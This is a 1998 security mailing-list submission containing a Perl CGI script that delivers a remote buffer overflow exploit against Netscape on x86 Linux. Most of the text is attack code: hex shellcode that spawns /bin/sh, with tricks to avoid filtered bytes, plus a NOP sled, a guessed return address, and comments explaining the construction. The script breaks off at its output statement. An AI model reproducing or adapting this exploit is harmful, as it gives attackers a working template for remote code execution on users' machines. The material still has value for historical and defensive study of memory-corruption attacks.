[ http://www.rootshell.com/ ] From nothing@shout.net Wed Oct 21 18:00:09 1998 Date: Wed, 21 Oct 1998 19:23:45 -0500 From: Mr. Nothing To: submission@rootshell.com Subject: Netscape Buffer Overflow Here is a buffer overflow exploit for Netscape on x86 Linux. It can be activated remotely by the following CGI script. See http://www.shout.net/~nothing/buffer-overflow-1/index.html for more information. ----- #!/usr/bin/perl # # buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19 sub parse { join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_); } # This is very tricky business. Netscape maps unprintable characters # (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine # code must be free of these characters. This makes it impossible # to call int 0x80, so I put int 0x40 there and wrote code to # shift those bytes left before it gets called. Also null characters # can't be used because of C string conventions. # the first paragraph of the following turns the int 0x40 in the second # paragraph into int 0x80. the second paragraph nullifies the SIGALRM # handler. my $pre = parse qw{ 31 c0 # xorl %eax,%eax 66 b8 ff 0f # movw $0x1056,%ax 01 c4 # addl %eax,%esp c0 24 24 01 # shlb $1,(%esp) 29 c4 # subl %eax,%esp 31 c0 b0 30 31 db b3 0e 31 c9 b1 01 cd 40 }; my $code = $pre . parse qw{ b0 55 # movb $0x55,%al (marker) eb 58 # (jump below) 5e # popl %esi 56 # pushl %esi 5b # popl %ebx 43 43 43 43 43 43 43 43 43 43 43 # addl $0xb,%ebx 21 33 # andl %esi,(%ebx) 09 33 # orl %esi,(%ebx) 31 c0 # xorl %eax,%eax 66 b8 56 10 # movw $0x1056,%ax 01 c4 # addl %eax,%esp c0 24 24 01 # shlb $1,(%esp) 33 c0 # xorl %eax,%eax b0 05 # movb $5,%al 01 c4 # addl %eax,%esp c0 24 24 01 # shlb $1,(%esp) 29 c4 # subl %eax,%esp 66 b8 56 10 # movw $0x1056,%ax 29 c4 # subl %eax,%esp 31 d2 # xorl %edx,%edx 21 56 07 # andl %edx,0x7(%esi) 21 56 0f # andl %edx,0xf(%esi) b8 1b 56 34 12 # movl $0x1234561b,%eax 35 10 56 34 12 # xorl $0x12345610,%eax 21 d9 # andl %ebx,%ecx 09 d9 # orl %ebx,%ecx 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b 4b # subl $0xb,%ebx cd 40 # int $0x80 31 c0 # xorl %eax,%eax 40 # incl %eax cd 40 # int $0x80 e8 a3 ff ff ff # (call above) }; $code .= "/bin/sh"; my $transmission = parse qw{ 6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz 20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz 79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz 20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz 79 }; my $nop = "\x90"; # this actually gets mapped onto 0x3f, but it doesn't seem # to matter my $address = "\x10\xdb\xff\xbf"; # wild guess, intended to be somewhere # in the chunk of nops. works on every # linux box i've tried it on so far. my $len = 0x1000 - length($pre); my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code; # the first $address is in the string replaces another # pointer in the same function which gets dereferenced # after the buffer is overflowed. there must be a valid # address there or it will segfault early. print < EOF